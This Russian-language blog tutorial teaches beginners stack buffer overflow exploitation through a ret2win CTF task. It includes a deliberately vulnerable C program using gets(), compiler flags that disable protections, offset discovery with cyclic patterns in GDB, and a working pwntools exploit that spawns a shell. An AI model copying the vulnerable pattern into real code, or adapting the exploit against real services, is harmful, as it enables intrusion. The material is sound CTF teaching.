Главная / Блог / Buffer Overflow для начинающих: от переполнения стека до shell в CTF-задаче с pwntools

12 мин.00

Buffer Overflow для начинающих: от переполнения стека до shell в CTF-задаче с pwntools

Buffer Overflow для начинающих: от переполнения стека до shell в CTF-задаче с pwntools

Buffer Overflow для начинающих: от переполнения стека до shell в CTF-задаче с pwntools

Первая pwn-задача на CTF решается за 15 минут — если понимаешь механику стека. Без этого понимания можно просидеть три часа, тыкая случайные строки в gets() и получая Segmentation fault без малейшего представления, почему программа падает и как это превратить в shell. Разница между «три часа впустую» и «четверть часа до флага» — знание того, где в памяти лежит адрес возврата и как до него добраться. Разберём классическую CTF-задачу типа ret2win от начала до конца: посмотрим, как устроен стек, найдём смещение до адреса возврата через GDB и cyclic pattern, напишем рабочий эксплойт на pwntools и получим shell.

Как устроен стек и зачем атакующему адрес возврата

Стек — область памяти для локальных переменных, аргументов функций и служебных данных при каждом вызове. В архитектуре x86 стек растёт вниз: от старших адресов к младшим. Каждый вызов функции создаёт на стеке новый кадр (stack frame), и именно в этом кадре лежит то, что нам нужно — адрес возврата (return address). Подробнее — в нашем материале про бинарный анализ уязвимостей.

Регистры EIP, EBP и ESP при отладке эксплойта

Три регистра, без которых в GDB делать нечего:

  • ESP (Stack Pointer) — вершина стека. Каждый push уменьшает ESP, каждый pop увеличивает.
  • EBP (Base Pointer) — начало текущего кадра стека. Через EBP функция добирается до локальных переменных и аргументов.
  • EIP (Instruction Pointer) — адрес следующей инструкции, которую выполнит процессор. Контроль над EIP = контроль над программой.

В 64-битных системах аналоги — RSP, RBP и RIP. Механика та же, но адреса занимают 8 байт вместо 4.

Когда функция вызывается через call, процессор автоматически кладёт на стек адрес следующей инструкции — адрес возврата. Когда функция завершается через ret, процессор снимает этот адрес со стека и прыгает по нему. Если между вызовом и возвратом мы успели перезаписать это значение — программа прыгнет куда скажем. Перезапись адреса возврата (return address overwrite) — фундамент бинарной эксплуатации и основа большинства pwn-задач CTF для новичков.

Вот как выглядит стек внутри функции с 64-байтным буфером:

High addresses (дно стека)
┌─────────────────────┐
│  Return Address     │ ← сюда пишем адрес win()
├─────────────────────┤
│  Saved EBP          │ ← сохранённый указатель кадра
├─────────────────────┤
│  buf[64]            │ ← сюда пишет gets()
└─────────────────────┘
Low addresses (вершина стека)

Буфер buf заполняется от младших адресов к старшим. Записали больше 64 байт — данные «вылезли» за границу буфера, затёрли Saved EBP и добрались до Return Address. Это и есть переполнение буфера стека — stack buffer overflow (иногда говорят stack smashing). По данным ctf101.org, этот тип уязвимости — самый простой и частый в категории pwn.

Уязвимая программа и проверка защит бинарника

Исходник: классический ret2win через gets()

Типичная CTF-задача. Бинарь содержит функцию win(), которая вызывает system("/bin/sh") и даёт shell. Но main() её нигде не вызывает — перенаправить поток выполнения нужно руками. Такая структура — стандарт для beginner-level pwn-тасок на picoCTF и в соревнованиях вроде Summit CTF.

#include <stdio.h>
#include <stdlib.h>
void win() { system("/bin/sh"); }
void vuln() {
    char buf[64];
    gets(buf);
}
int main() {
    vuln();
    return 0;
}

gets() читает ввод до символа новой строки, не проверяя длину буфера. Отправили больше 64 байт — перезаписали Saved EBP, а затем Return Address. Поэтому gets() — подарок для атакующего и классический маркер уязвимости в CTF. В реальном коде gets() признали устаревшей в C99 и полностью удалили из стандарта C11 (ISO/IEC 9899:2011), но в учебных задачах она встречается повсеместно. Аналогичные проблемы возникают при неправильном использовании strcpy(), sprintf() или fgets() с размером больше буфера — как в разборе из Summit CTF 2023, где fgets принимала 0x400 байт в 16-байтный буфер, по данным Arch Cloud Labs.

Компилируем бинарь с отключёнными защитами — как обычно сделано в задачах для начинающих: gcc -no-pie -fno-stack-protector -z execstack -m32 vuln.c -o vuln.

Нюанс: на Ubuntu 22.04+ с glibc 2.34+ функция gets() удалена полностью — и из заголовков, и из libc.so. Даже добавление char *gets(char *); приведёт к ошибке линковки. Замените gets(buf) на read(0, buf, 256) или fgets(buf, 256, stdin) — эффект переполнения тот же. Или компилируйте в Docker с ubuntu:20.04 / на Debian 11, где glibc < 2.34.

Разберём флаги:

  • -no-pie — отключает PIE, адреса в бинаре фиксированы при каждом запуске
  • -fno-stack-protector — убирает stack canary (проверку целостности стека)
  • -z execstack — делает стек исполняемым (снимает NX)
  • -m32 — собирает 32-битный бинарь (нужен пакет gcc-multilib)

checksec: читаем защиты бинарника перед эксплуатацией

Перед написанием эксплойта — смотрим, какие защиты включены. checksec из pwntools показывает всё одной командой: checksec ./vuln. Для нашего бинаря:

  • Arch: i386-32-little — 32-битная архитектура, little-endian. Адреса пакуем через p32().
  • RELRO: Partial RELRO — таблица GOT доступна для записи. Для ret2win не критично, но при GOT overwrite атаках — ещё как.
  • Stack: No canary found — нет stack canary. Программа не проверяет, повреждён ли стек перед возвратом. Переполнение буфера стека пройдёт незамеченным.
  • NX: NX disabled — стек исполняемый. Можно было бы положить shellcode прямо в буфер и прыгнуть на него, но для ret2win это не нужно — у нас уже есть готовая win().
  • PIE: No PIE — бинарь грузится по фиксированному адресу. Адрес win() одинаков при каждом запуске, можно хардкодить.

Если хотя бы одна из этих защит включена — чистый ret2win может не сработать. Об ограничениях — в конце статьи.

Требования к окружению

Прежде чем повторять шаги:

  • ОС: Linux — Ubuntu 22.04 LTS, Kali Linux 2024.x или любой дистрибутив с apt
  • RAM: 2 ГБ минимум (GDB и pwntools нетребовательны)
  • Python: 3.8+ с pwntools (pip install pwntools>=4.13.0 — версии ниже 4.13.0 содержат SSTI-уязвимость GHSA-7xc5-ggpp-g249, PYSEC-2023-78)
  • GDB: с расширением pwndbg (git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh). Можно peda, но pwndbg удобнее для pwn-задач — разница между «ненавижу GDB» и «о, я вижу стек» буквально в одной команде установки
  • gcc: с поддержкой 32-bit — sudo apt install gcc-multilib
  • Режим: полностью локальный, интернет не нужен после установки зависимостей

Находим offset до адреса возврата через cyclic pattern и GDB

Буфер — 64 байта. За ним Saved EBP — ещё 4 байта в 32-bit. Значит, offset до Return Address — 68 байт? Не обязательно. Компилятор может выравнивать данные на 16-байтную границу, добавлять padding, и реальное смещение будет отличаться от теоретического. Поэтому offset вычисляется экспериментально — через паттерн Де Брёйна (De Bruijn sequence).

Генерируем паттерн

pwntools даёт функцию cyclic(), которая генерирует последовательность, где каждая подпоследовательность из 4 символов уникальна: from pwn import *; print(cyclic(200)). На выходе — 200 байт вида aaaabaaacaaadaaaeaaa.... Каждый фрагмент из четырёх байт встречается ровно один раз, и по нему можно точно определить позицию любого значения.

Ловим crash в GDB

Запускаем бинарь под отладчиком: gdb ./vuln. Сначала генерируем паттерн в файл: python3 -c 'from pwn import *; import sys; sys.stdout.buffer.write(cyclic(200) + b"\n")' > pattern.txt. В pwndbg: run < pattern.txt. Программа упадёт с Segmentation fault, и pwndbg покажет состояние регистров. Смотрим на EIP — там окажется что-то вроде 0x6161616c (конкретные байты зависят от компилятора и версии). Это четыре байта из паттерна в little-endian. Копируем значение — оно понадобится для вычисления offset. Процессор попытался перейти по несуществующему адресу — отсюда Segfault.

Вычисляем точный offset

Находим позицию этих байт в паттерне: cyclic_find(<значение EIP>) — подставляем то, что увидели в регистре. pwntools вернёт число, допустим 76. Это количество байт перед адресом возврата. Первые 76 байт — мусор (буфер, возможный padding, Saved EBP), следующие 4 байта — адрес, на который прыгнет программа.

Альтернативный путь — прямо в pwndbg: команда cyclic 200 генерирует паттерн, после crash команда cyclic -l <значение_EIP> вычисляет offset автоматически.

Почему 76, а не 68? Компилятор при -m32 часто выравнивает стек на 16-байтную границу и добавляет padding. Считать offset «на глаз» — плохая привычка в бинарной эксплуатации. Cyclic pattern — обязательный шаг.

Пишем ret2win эксплойт на pwntools: пошаговый разбор

Находим адрес функции win()

Адрес целевой функции можно узнать несколькими способами. В GDB: info functions win или print win. Через pwntools: ELF('./vuln').symbols['win']. Через командную строку: objdump -d vuln | grep win. Допустим, адрес — 0x08049186. Он фиксирован, потому что PIE отключён.

Собираем рабочий эксплойт

from pwn import *
p = process('./vuln')
offset = 76
win = 0x08049186
payload = b'A' * offset + p32(win)
p.sendline(payload)
p.interactive()

Что тут происходит построчно:

  • from pwn import * — импортирует весь арсенал: process, p32, cyclic, ELF и десятки других функций для pwn-задач CTF.
  • p = process('./vuln') — запускает бинарь как дочерний процесс. Для удалённой задачи на CTF-сервере — remote('host', port).
  • offset = 76 — количество байт до адреса возврата, найденное через cyclic pattern в GDB.
  • win = 0x08049186 — адрес функции win(), фиксированный из-за отсутствия PIE.
  • payload = b'A' * offset + p32(win) — 76 байт мусора (буква 'A' — традиция, годится любой символ) плюс адрес win(), упакованный в 4 байта little-endian через p32(). Она превращает 0x08049186 в \x86\x91\x04\x08 — порядок байт, который ожидает x86.
  • p.sendline(payload) — отправляет payload бинарю с символом новой строки (его ждёт gets() для завершения ввода).
  • p.interactive() — передаёт управление: теперь вы общаетесь с shell напрямую.

Запускаем: python3 exploit.py. Если всё верно — вместо Segfault получаем $. Команда whoami подтвердит, что код выполняется от имени пользователя, запустившего бинарь. На CTF-сервере в текущей директории обычно лежит файл с флагом: cat flag.txt.

Типичные ошибки при написании первого эксплойта

  • Забыли про little-endian. Адрес 0x08049186 нужно упаковать как \x86\x91\x04\x08, а не \x08\x04\x91\x86. p32() делает это автоматически — не пакуйте руками через struct.pack, наступите на грабли.
  • Посчитали offset «на глаз». 64 + 4 = 68 — логично, но неверно, если компилятор добавил padding. Всегда проверяйте через cyclic.
  • Бинарь 64-bit, а упаковка 32-bit. Если checksec показал amd64-64-little — используйте p64() вместо p32(). Saved RBP занимает 8 байт, offset будет другим.
  • Не поставили pwndbg. Голый GDB без расширений — боль. pwndbg показывает регистры, стек и дизассемблер в одном окне. Поставьте, серьёзно.
  • Не задали context.arch. Для корректной работы cyclic_find и p32/p64 pwntools должен знать архитектуру. Добавьте context.arch = 'i386' для 32-bit или context.arch = 'amd64' для 64-bit.

Ограничения ret2win и переход к ROP

Предусловия и когда техника не работает

[Применимо: CTF beginner-level, бинари без защит, 32/64-bit Linux]

Ret2win работает при строгих условиях:

Работает если: PIE отключён (адреса фиксированы), stack canary отсутствует (нет проверки целостности), в бинаре есть win-функция с system() или чтением флага, используется уязвимая функция ввода без проверки длины.

Не работает если:

  • PIE включён — адреса функций рандомизируются при каждом запуске. Нужен information leak, через который вычисляется базовый адрес бинаря. В CTF средней сложности PIE — стандарт.
  • Stack canary включён — между локальными переменными и адресом возврата лежит случайное значение (canary). При переполнении canary затирается, программа вызывает __stack_chk_fail и умирает до ret. Обход: утечка значения canary через format string или brute-force (для fork-серверов).
  • NX включён при отсутствии win-функции — стек не исполняемый, shellcode в буфере не запустится. Нужен ROP: цепочка коротких фрагментов кода (gadget'ов) из уже загруженных секций бинаря, каждый из которых заканчивается ret.
  • Full RELRO — таблица GOT становится read-only после загрузки, закрывая GOT overwrite атаки. Для чистого ret2win не критично, но для ret2libc может усложнить цепочку.
  • ASLR на уровне ОС — включён по умолчанию в современных дистрибутивах и рандомизирует адреса libc, стека и heap независимо от PIE. Если бинарь без PIE — его собственные секции остаются на фиксированных адресах, но адреса system, execve меняются при каждом запуске и требуют утечки.

Место переполнения буфера в цепочке атаки

За пределами CTF переполнение буфера стека — техника эксплуатации на разных этапах kill chain:

  • Initial AccessExploit Public-Facing Application (T1190): уязвимый сервис торчит в сеть, stack buffer overflow exploit даёт первоначальный доступ.
  • Privilege Escalation — Exploitation for Privilege Escalation (T1068): SUID-бинарь с переполнением запущен от root — эксплуатация повышает привилегии.
  • Execution — Exploitation for Client Execution (T1203): жертва открывает специально подготовленный файл, обработчик которого содержит уязвимость.

В CTF цепочка проще: получаем бинарь → реверсим → находим уязвимость → пишем эксплойт → забираем shell или флаг. Но навыки — чтение стека в отладчике, вычисление offset через cyclic, работа с pwntools — напрямую переносятся на задачи реального пентеста.

Что изучать после ret2win

Ret2win — первые 10% бинарной эксплуатации. Следующий шаг — ROP (Return-Oriented Programming). Когда NX включён и шелл-код в стеке не исполняется, атакующий выстраивает цепочку из gadget'ов — коротких последовательностей инструкций, заканчивающихся ret. Для поиска gadget'ов — ROPgadget и ropper. На основе ROP строится ret2libc: цепочка вызывает system("/bin/sh") из libc, для чего нужна утечка адреса libc (через puts@PLT или format string) и знание версии библиотеки на сервере.

Для тренировки — pwn.college (бесплатные модули от авторов CTF-курса ASU с прогрессией от простого к сложному) и picoCTF (задачи от Carnegie Mellon с нарастающей сложностью). На pwn.college подход похож на то, что описано здесь: сначала конкретный бинарь, потом теория, потом усложнение.

По опыту подготовки ребят к CTF: эффективнее дать конкретный бинарь в первые пять минут. Пусть человек запустит checksec, увидит «No canary, No PIE», вызовет crash в GDB — и только после этого разбирать, почему crash произошёл. Мотивация копаться в теории появляется после первого контролируемого Segfault, а не до него. Ещё наблюдение: новички боятся GDB не потому что он сложный, а потому что незнакомый. pwndbg меняет ситуацию кардинально — после установки GDB выглядит как нормальный отладчик с подсветкой регистров, стека и дизассемблера в одном окне. Кто не ставил — поставьте, это другой уровень gdb отладки эксплойта. Ret2win — точка входа, ROP и heap — следующие уровни, каждая техника строится на предыдущей. Если после этой статьи захочется системно готовиться к OSCP — на WAPT эту цепочку проходят в течение двух модулей с лабами.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...